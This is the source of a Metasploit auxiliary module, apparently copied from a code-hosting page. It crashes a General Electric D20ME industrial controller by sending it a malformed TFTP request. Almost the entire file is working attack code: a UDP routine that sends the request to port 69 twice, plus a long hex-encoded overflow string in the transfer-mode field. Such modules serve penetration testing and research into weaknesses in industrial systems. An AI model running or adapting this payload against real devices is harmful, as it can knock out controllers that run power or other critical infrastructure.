141 lines
6.9 KiB
Ruby
141 lines
6.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
##
|
|
# The General Electric D20 (and possibly other devices) have numerous
|
|
# buffer overruns in their TFTP servers and probably other servers.
|
|
# There are many buffer overruns like it, but this one is the D20's
|
|
# TFTP Server transfer-mode overflow.
|
|
# The filename also suffers from an overrun but seems unlikely to be
|
|
# exploitable.
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
require 'rex/ui/text/shell'
|
|
require 'rex/proto/tftp'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
include Rex::Ui::Text
|
|
include Rex::Proto::TFTP
|
|
include Msf::Exploit::Remote::Udp
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'General Electric D20ME TFTP Server Buffer Overflow DoS',
|
|
'Description' => %q{
|
|
By sending a malformed TFTP request to the GE D20ME, it is possible to crash the
|
|
device.
|
|
|
|
This module is based on the original 'd20ftpbo.rb' Basecamp module from
|
|
DigitalBond.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
|
'todb' # Metasploit fixups
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
|
],
|
|
'Version' => '$Revision$',
|
|
'DisclosureDate' => 'Jan 19 2012'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
|
|
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
|
|
Opt::RPORT(69)
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
udp_sock = Rex::Socket::Udp.create(
|
|
'LocalHost' => datastore['LHOST'] || nil,
|
|
'PeerHost' => rhost,
|
|
'PeerPort' => rport,
|
|
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
|
) # No need to rescue, it's a UDP faux-socket
|
|
udp_sock.sendto(payload, rhost, rport)
|
|
recv = udp_sock.timed_read(65535, recv_timeout)
|
|
if recv and recv.size > 0
|
|
udp_sock.sendto(payload, rhost, rport)
|
|
else
|
|
print_error "#{rhost}:#{rport} - TFTP - No response from the target, aborting."
|
|
return
|
|
end
|
|
print_good "#{rhost}:#{rport} - TFTP - DoS complete, the D20 should fault after a timeout."
|
|
end
|
|
|
|
def recv_timeout
|
|
if datastore['RECV_TIMEOUT'].to_i.zero?
|
|
3
|
|
else
|
|
datastore['RECV_TIMEOUT'].to_i.abs
|
|
end
|
|
end
|
|
|
|
def payload
|
|
"\x00\x01NVRAM\\D20.zlb\x00netascii" +
|
|
"\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" +
|
|
"\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" +
|
|
"\x80\x80\x80\x89\x80\x80\x80\x8A\x80\x80\x80\x8B\x80\x80\x80\x8C\x80\x80\x80\x8D" +
|
|
"\x80\x80\x80\x8E\x80\x80\x80\x8F\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92" +
|
|
"\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97" +
|
|
"\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9A\x80\x80\x80\x9B\x80\x80\x80\x9C" +
|
|
"\x80\x80\x80\x9D\x80\x80\x80\x9E\x80\x80\x80\x9F\x80\x80\x80\xA0\x80\x80\x80\xA1" +
|
|
"\x80\x80\x80\xA2\x80\x80\x80\xA3\x80\x80\x80\xA4\x80\x80\x80\xA5\x80\x80\x80\xA6" +
|
|
"\x80\x80\x80\xA7\x80\x80\x80\xA8\x80\x80\x80\x00\x80\x80\x80\xAA\x80\x80\x80\xAB" +
|
|
"\x80\x80\x80\xAC\x80\x80\x80\xAD\x80\x80\x80\xAE\x80\x80\x80\xAF\x80\x80\x80\xB0" +
|
|
"\x80\x80\x80\xB1\x80\x80\x80\xB2\x80\x80\x80\xB3\x80\x80\x80\xB4\x80\x80\x80\xB5" +
|
|
"\x80\x80\x80\xB6\x80\x80\x80\xB7\x80\x80\x80\xB8\x80\x80\x80\xB9\x80\x80\x80\xBA" +
|
|
"\x80\x80\x80\xBB\x80\x80\x80\xBC\x80\x80\x80\xBD\x80\x80\x80\xBE\x80\x80\x80\xBF" +
|
|
"\x80\x80\x80\xC0\x80\x80\x80\xC1\x80\x80\x80\xC2\x80\x80\x80\xC3\x80\x80\x80\xC4" +
|
|
"\x80\x80\x80\xC5\x80\x80\x80\xC6\x80\x80\x80\xC7\x80\x80\x80\xC8\x80\x80\x80\xC9" +
|
|
"\x80\x80\x80\xCA\x80\x80\x80\xCB\x80\x80\x80\xCC\x80\x80\x80\xCD\x80\x80\x80\xCE" +
|
|
"\x80\x80\x80\xCF\x80\x80\x80\xD0\x80\x80\x80\xD1\x80\x80\x80\xD2\x80\x80\x80\xD3" +
|
|
"\x80\x80\x80\xD4\x80\x80\x80\xD5\x80\x80\x80\xD6\x80\x80\x80\xD7\x80\x80\x80\xD8" +
|
|
"\x80\x80\x80\xD9\x80\x80\x80\xDA\x80\x80\x80\xDB\x80\x80\x80\xDC\x80\x80\x80\xDD" +
|
|
"\x80\x80\x80\xDE\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xE1\x80\x80\x80\xE2" +
|
|
"\x80\x80\x80\xE3\x80\x80\x80\xE4\x80\x80\x80\xE5\x80\x80\x80\xE6\x80\x80\x80\xE7" +
|
|
"\x80\x80\x80\xE8\x80\x80\x80\xE9\x80\x80\x80\xEA\x80\x80\x80\xEB\x80\x80\x80\xEC" +
|
|
"\x80\x80\x00\x80\x00\x00\x00\x7F\xFF\xBC\x80\xEF\x80\x80\x80\xF0\x80\x80\x80\xF1" +
|
|
"\x80\x80\x80\xF2\x80\x80\x80\xF3\x80\x80\x80\xF4\x80\x80\x80\xF5\x80\x80\x80\xF6" +
|
|
"\x80\x80\x80\xF7\x80\x80\x80\xF8\x80\x80\x80\xF9\x80\x80\x80\xFA\x80\x80\x80\xFB" +
|
|
"\x80\x80\x80\xFC\x80\x80\x80\xFD\x80\x80\x80\xFE\x80\x80\x81\x80\x80\x80\x81\x81" +
|
|
"\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86" +
|
|
"\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8A\x80\x80\x81\x8B" +
|
|
"\x80\x80\x81\x8C\x80\x80\x81\x8D\x80\x80\x81\x8E\x80\x80\x81\x8F\x80\x80\x81\x90" +
|
|
"\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95" +
|
|
"\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9A" +
|
|
"\x80\x80\x81\x9B\x80\x80\x81\x9C\x80\x80\x81\x9D\x80\x80\x81\x9E\x80\x80\x81\x9F" +
|
|
"\x80\x80\x81\xA0\x80\x80\x81\xA1\x80\x80\x81\xA2\x80\x80\x81\xA3\x80\x80\x81\xA4" +
|
|
"\x80\x80\x81\xA5\x80\x80\x81\xA6\x80\x80\x81\xA7\x80\x80\x81\xA8\x80\x80\x81\xA9" +
|
|
"\x80\x80\x81\xAA\x80\x80\x81\xAB\x80\x80\x81\xAC\x80\x80\x81\xAD\x80\x80\x81\xAE" +
|
|
"\x80\x80\x81\xAF\x80\x80\x81\xB0\x80\x80\x81\xB1\x80\x80\x81\xB2\x80\x80\x81\xB3" +
|
|
"\x80\x80\x81\xB4\x80\x80\x81\xB5\x80\x80\x81\xB6\x80\x80\x81\xB7\x80\x80\x81\xB8" +
|
|
"\x80\x80\x81\xB9\x80\x80\x81\xBA\x80\x80\x81\xBB\x80\x80\x81\xBC\x80\x80\x81\xBD" +
|
|
"\x80\x80\x81\xBE\x80\x80\x81\xBF\x80\x80\x81\xC0\x80\x80\x81\xC1\x80\x80\x81\xC2" +
|
|
"\x80\x80\x81\xC3\x80\x80\x81\xC4\x80\x80\x81\xC5\x80\x80\x81\xC6\x80\x80\x81\xC7" +
|
|
"\x80\x80\x81\xC8\x80\x80\x81\xC9\x80\x80\x81\xCA\x80\x80\x81\xCB\x80\x80\x81\xCC" +
|
|
"\x80\x80\x81\xCD\x80\x80\x81\xCE\x80\x80\x81\xCF\x80\x80\x81\xD0\x80\x80\x81\xD1" +
|
|
"\x80\x80\x81\xD2\x80\x80\x81\xD3\x80\x80\x81\xD4\x80\x80\x81\xD5\x80\x80\x81\xD6" +
|
|
"\x80\x80\x81\xD7\x80\x80\x81\xD8\x80\x80\x81\xD9\x80\x80\x81\xDA\x80\x80\x81\xDB" +
|
|
"\x80\x80\x81\xDC\x80\x80\x81\xDD\x80\x80\x81\xDE\x80\x80\x81\xDF\x80\x80\x81\xE0" +
|
|
"\x80\x80\x81\xE1\x80\x80\x81\xE2\x80\x80\x81\xE3\x80\x80\x81\xE4\x80\x80\x81\xE5" +
|
|
"\x80\x80\x81\xE6\x80\x80\x81\xE7\x80\x80\x81\xE8\x80\x80\x81\xE9\x80\x80\x81\xEA" +
|
|
"\x80\x80\x81\xEB\x80\x80\x81\xEC\x80\x80\x81\xED\x80\x80\x81\xEE\x80\x80\x81\xEF" +
|
|
"\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" +
|
|
"\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" +
|
|
"\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" +
|
|
"\x80\x80\x82\x80\x80\x80\x82\x81"
|
|
end
|
|
|
|
end
|